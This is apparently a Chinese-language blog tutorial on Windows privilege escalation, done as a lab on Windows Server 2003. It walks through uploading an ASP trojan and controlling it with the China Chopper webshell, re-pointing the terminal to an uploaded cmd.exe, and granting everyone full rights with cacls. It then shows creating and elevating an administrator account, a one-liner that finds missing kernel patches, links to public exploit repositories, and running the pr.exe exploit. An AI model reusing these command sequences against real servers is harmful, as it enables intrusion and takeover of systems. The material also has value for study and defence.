一.常见的提权方法
1.溢出漏洞提权
webshell能否提权成功,大多数在于中间件给的权限。中间件主要提供给网站一个运行的载体,没有中间件网站是运行不起来的。
运维人员如果对网络安全非常熟悉,那他一定不会以root权限去安装中间件;如果是windows也一定不会以管理员账户去运行中间件,一定是以普通用户来运行中间件。
所以,我们把普通用户权限提升为管理员用户权限。
cmd命令无法执行的原因
cmd命令执行原因:主要原因是cmd.exe被管理员降权或删除,也有可能组件被删除。
cmd命令执行解决方法:通过脚本木马查找可读可写目录,上传cmd,调用cmd路径执行命令(找可读可写目录不要选带空格目录,选用空格目录要用双引号引起来)。
用Windows2003来做实验
给2003上传一个木马文件
文件内容如图
用中国菜刀软件来连接
把本机或2003里的cmd.exe上传到一个可读可写的文件里去
菜刀设置终端路径:setp c:\wmpub\cmd.exe(这个命令的意思为:把我们的终端设置为指定的cmd.exe)
这个时候我们执行任何命令都是以这个cmd.exe来执行的,不是以利用操作系统的cmd.exe执行
提升权限,输入命令 cacls "C:\wmpub" /t /p everyone:f(这条命令的意思是给C盘下的wmpub文件添加everyone的所有权限)
因为菜刀这里没有交互,所以无法使用Y键功能。可以输入命令 echo y|cacls "C:\wmpub" /t /p everyone:f 来解决,从而实现Y键功能。
这时查看文件wmpub,就会发现已经添加了everyone权限
这时我们菜刀的终端里执行任何命令都可以
提权常用命令
whoami ——查看用户权限
systeminfo ——查看操作系统,补丁情况
ipconfig——查看当前服务器IP ipconfig /all
net user——查看当前用户情况
netstat ——查看当前网络连接情况 netstat –ano /netstat –an | find “ESTABLISHED”
tasklist ——查看当前进程情况 tasklist /svc
taskkill ——结束进程 taskkill -PID xx
net start ——启动服务
net stop ——停止服务
举例
添加用户名为best,密码为123456 输入命令 net user best 123456 /add
我们创造的best用户为普通用户
将用户名为best的用户添加到管理员组,输入命令 net localgroup administrators best /add
删除best用户,输入命令 net user best /del
溢出漏洞提权实战测试
命令行下执行检测未打补丁的命令如下
systeminfo>micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a micropoor.txt
根据漏洞编号查找工具
已对外公开exp注:
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/WindowsExploits/Exploits
https://github.com/AusJock/Privilege-Escalation
举例:选择编号KB977165
输入网址 https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/securitybulletins2017
进行提权(由于权限过高,所以在菜刀里看不出效果,所以在2003的cmd里建一个普通用户,再进行提权)
在2003里建立一个普通用户,如图
在这个目录下新建一个木马文件123.asp
内容是
添加iuse和写入权限
用菜刀连接一下
这时,就输入 setp c:\wmpub\cmd.exe ,再添加用户
上传pr.exe到文件wmpubpr中
然后进入目录wmpub中,就可以执行命令 (例如:pr.exe whoami),说明提权成功